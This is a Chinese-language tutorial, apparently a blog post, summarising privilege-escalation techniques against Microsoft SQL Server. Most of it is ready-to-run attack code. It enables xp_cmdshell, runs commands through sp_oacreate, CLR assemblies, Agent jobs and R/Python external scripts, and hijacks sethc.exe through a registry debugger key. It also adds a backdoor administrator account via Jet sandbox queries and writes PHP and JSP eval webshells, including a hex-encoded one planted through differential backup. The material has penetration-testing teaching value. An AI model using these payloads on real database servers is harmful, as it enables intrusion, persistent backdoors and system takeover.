前面总结了linux和Windows的提权方式以及Mysql提权,这篇文章讲讲SQL Server数据库的提权。
目录
基础知识
权限判定
系统数据库
存储过程
常见系统存储过程
常见扩展存储过程
xp_cmdshell扩展存储过程提权
xp_dirtree写入文件提权
sp_oacreate提权
xp_regwrite映像
沙盒提权
CLR提权
Agent Job提权
R和python脚本执行提权
差异备份写入webshell
基础知识
权限判定
在SQLsever中有三种特殊的用户:
- 系统管理员(dba权限),对应服务器角色sysadmin,可以执行SQLserver的任何动作,包括数据库操作、文件管理、命令执行、注册表读取等,是SQLserver的最高权限。
- 数据库所有者(dbo权限),对应数据库db_owner,可以执行数据库中技术所有动作,包括文件管理、数据库操作等。
- public角色,是一个特殊的固定角色,数据库的每个合法用户都属于该角色,它为数据库中的用户提供了所有默认权限。
#判断是否dba权限
select IS_SRVROLEMEMBER('sysadmin');
#判断是否dbo权限
select IS_SRVROLEMEMBER('db_owner');
#判断是否public权限
select IS_SRVROLEMEMBER('public');
系统数据库
库名 | 含义 |
master | master数据库控制SQLserver数据库所有方面。这个数据库包括了所有的配置信息、用户登录信息、当前正在服务器中运行的过程信息等。 |
model | model数据库是建立所有用户数据库时的模版。新建数据库时,SQLserver会把model数据库中的所有对象建立一份拷贝并移动到新数据库中。 |
tempdb | tempdb数据库时一个非常特殊的数据库,供所有访问SQLserver数据库的用户使用。这个库用来保存所有临时表、存储过程和其他SQLserver临时建立的东西。 |
msdb | msdb数据库是数据库的特例,查看数据库的实际定义,又会发现它是一个用户数据库。所有的任务调度、报警、操作员都存储在msdb数据库中,还有另一个功能就是用来存储所有备份历史。SqlServer agent将会使用这个库。 |
存储过程
数据库中的存储过程可以看作是对编程中面向对象方法的模拟,将存储过程理解为函数调用的过程,使用execute命令执行存储过程。存储过程为数据库提供了强大的功能,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如创建数据库用户、枚举文件目录、执行任意系统命令等。所以SqlServer2008之后的版本分别对存储过程做了权限控制,以防滥用。
存储过程也分为几类:
- 系统存储过程:主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必再存储过程前加上数据库名。
- 扩展存储过程:对动态链接库(DLL)函数的调用,主要用于客户端与服务器端或客户端之间进行通信的,以"xp_"为前缀,使用方法与系统存储过程类似。
- 用户定义的存储过程:SQLServer的使用者编写的存储过程。
常见系统存储过程
系统存储过程 | 说明 |
sp_databases | 列出服务器上的所有数据库 |
sp_helpdb | 报告有关指定数据库或所有数据库的信息 |
sp_renamedb | 更改数据库的名称 |
sp_tables | 返回当前环境下可查询的对象的列表 |
sp_columns | 回显某个表列的信息 |
sp_help | 查看某个表的所有信息 |
sp_helpconstraint | 查看某个表的约束 |
sp_helpindex | 查看某个表的索引 |
sp_stored_procedures | 列出当前环境中的所有存储过程 |
sp_password | 添加或修改登录账户的密码 |
sp_helptext | 显示默认值、未加密的存储过程、用户定义的存储过程、触发器或视图的实际文本 |
sp_oacreate | 删除、复制、移动文件等 |
sp_oamethod | 执行文件 |
sp_makewebtask | 创建一项生成HTML文档的任务,该文档包含执行过的查询语句返回的数据 |
#列出当前系统中的数据库
exec sp_databases
#修改数据库的名称
exec sp_renamedb 'Northwind','Northwind1'
#写入一句话木马(这里的一句话木马要转换成URL格式)
exec sp_makewebtask 'c:\shell.jsp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--
#其他使用类似,有点偷懒了
常见扩展存储过程
xp_cmdshell
使用xp_cmdshell可以连接sql server的时候执行doc命令。
调用语法:exec xp_cmdshell DOS命令 [NOT_OUTPUT]
#获取D盘下的目录
exec master.sys.xp_cmdshell 'dir D:\'
需要注意的是:
1、首次使用需要使用exec sys.sp_configure @configname = 'xp_cmdshell',@configvalue = 1 来启用xp_cmdshell ,默认情况下,sql server 是禁用本功能的;
2、可以使用 no_output 来忽略输出结果;
xp_dirtree
返回文件的目录结构。
使用方法:
exec xp_dirtree '文件目录' #列出指定目录所有文件、目录、子目录
exec xp_dirtree '文件目录',1 #列出指定目录的目录
exec xp_dirtree'文件目录',1,1 #列出指定目录的目录、文件
xp_logininfo:返回数据库服务器windows用户和windows组的信息。
xp_regread:读取注册表信息。
xp_regwrite:写入注册表信息。
xp_enumds:进行与ODBC连接。
xp_loginconfig:配置服务器安全模式信息。
xp_makecab:创建压缩卷。
xp_ntsec_enumdomains:查看domain信息。
xp_terminate_jroces:查看终端进程
xp_cmdshell扩展存储过程提权
此存储过程在SqlServer2000中默认开启,2005及以后的版本默认禁止。
前提条件:
- 已经获取到SqlServer的sysadmin权限用户的账号和密码
- SqlServer服务未降权
- SqlServer允许外连
1、首先开启xp_shell
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
如果xp_cmdshell被删除,可以重新上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2、执行命令
EXEC master.dbo.xp_cmdshell '命令'
3、关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
xp_dirtree写入文件提权
一般写入webshell提权最费解之一的事情就是获取绝对路径,可以通过SqlServer的扩展存储过程来进行获取和写入。
条件:服务器未被降权,有写入功能,但是SqlServer之后数据库就默认被降权为mssql了,写入写入不了。
具体过程:
1、利用xp_dirtree获取到文件的绝对路径
exec xp_dirtree 'C:',1,1
2、然后再利用xp_cmdshell写入木马
#写入木马
exec xp_cmdshell "echo '^<?php @eval($_POST[123]);?^>' >c:\2.php"
sp_oacreate提权
在xp_cmdshell被删除或不能利用可以考虑利用sp_oacreate,sp_oacreate是一个存储过程,可以删除、复制、移动文件,配合sp_oamethod来写文件执行系统命令。
利用条件:需要SqlServer的sysadmin账户即服务器权限为system(但SqlServer2019默认被降权未mssql)。
1、首先判断sp_oacreate是否存在,返回1证明存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'
2、开启sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'ole automation procedures',1;
reconfigure;
3、执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
4、无回显,可以把文件内容导入数据库表中,然后再使用查询语句查询内容
bulk insert readfile from 'D:\1.txt';
select * from readfile;
xp_regwrite映像
xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,利用regwrite函数修改注册表,起到劫持作用。
利用条件:
- SqlServer系统权限可以修改注册表
- system权限
1、判断xp_rewrite是否存在,返回1证明存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
2、开启xp_rewrite
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',1;RECONFIGURE
这里实验没有权限修改注册表。
3、劫持注册表
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
4、查看是否劫持成功
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
劫持成功后连按5次shift会弹出cmd(win defender会拦截弹出的cmd并删除已经劫持的注册表)
5、关闭xp_write
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',0;RECONFIGURE
沙盒提权
当执行命令方法无法使用时,可以使用沙盒进行提权。
沙盒模式是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则认为它是安全的。
一般情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就允许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。
利用条件:
- sqlserver的sysadmin账户权限为system
- 一般在32位操作系统以上,拥有jet.oledb.4.0驱动
1、开启Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
2、开启沙盒模式:0是禁用,1是仅在允许范围内,2是必须在access模式下,3是完全开启
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
因为这里没有Microsoft.jet.oledb.4.0,因此显示拒绝 访问。
3、执行系统命令
执行添加一个管理员margin命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
net user查看用户是否添加成功
然后将margin用户提升到超级管理员权限
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
net localgroup administrators 查看超级管理员组账户是否提权成功。
4、恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
CLR提权
Microsoft SQL server2005之后具备与Microsoft .NET Framework的公共语言运行时(CLR)的集成。CLR集成使得现在可以使用.NET Framework语言编写代码,从而能够在SQL server上运行,那么就意味着可以通过C#来编写SQL server自定义函数、存储过程、触发器等。
利用条件:
- 需要dba权限,运行在system下
- SQLserver上能启动CLR并可以创建自定义存储过程
1、开启CLR
exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'clr enabled',1;
RECONFIGURE;
2、当导入了不安全的程序集之后,需将数据库标记为可信任
ALTER DATABASE master SET TRUSTWORTHY ON;
3、编写一个CLR
(1)首先在本地visual studio创建一个SQL Server数据库项目,然后在项目中添加一个存储过程
(2)然后写入代码,右键生成,会在工作当前目录下生成几个文件
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
process.Start();
}
}
(3)然后注册DLL
(4)注册完成后,创建存储过程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
4、执行系统命令
EXEC sp_cmdExec 'whoami';
5、删除存储过程和程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;
Agent Job提权
SqlServer代理是一项Microsoft Windows服务,它执行计划的管理任务,这些任务在SqlServer中称作为作业。
利用条件:需要dba权限。
1、启动sqlagent
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
2、利用任务计划命令执行,创建任务test并执行命令,将结果写入1.txt
use msdb;
exec sp_delete_job null,'test';
exec sp_add_job 'test';
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>D:/1.txt"';
exec sp_add_jobserver null,'test',@@servername;
exec sp_start_job 'test';
3、命令执行成功如果没有回显,可以采取把1.txt写入表中,然后使用查询语句查询表使得内容回显。
Use model;
bulk insert readfile from 'D:\1.txt';
select * from readfile;
R和python脚本执行提权
在SqlServer2017及更高版本中,R与Python一起随附在机器学习服务中,所以可以通过sp_execute_external_script执行Python和R脚本。
利用条件:
- dbo或dba权限
- SqlServer允许执行外部脚本
1、开启dba权限
EXEC sp_configure 'external scripts enabled',1;RECONFIGURE
2、执行命令
-- 利用R执行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
--利用python执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
3、关闭dba权限
EXEC sp_configure 'external scripts enabled',0;RECONFIGURE
差异备份写入webshell
dbo和dba都有备份数据库权限,可以把数据库备份成可执行脚本放入web目录里,获得webshell
利用条件:
- 知道网站绝对路径并且允许写入文件
- dbo或dba权限
- 数据库必须存在备份文件
1、生成备份文件
backup database test to disk = 'C:\phpstudy_pro\WWW\1.bak';
2、创建表并写入一句话木马
create table test([cmd][image]);
Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);
#<?php @eval($_REQUEST['a']);?>的hex编码
3、将数据库进行差异备份
backup database test to disk='C:\phpstudy_pro\WWW\shell.php' WITH DIFFERENTIAL,FORMAT;
参考链接:
SQL Server提权总结 - 知乎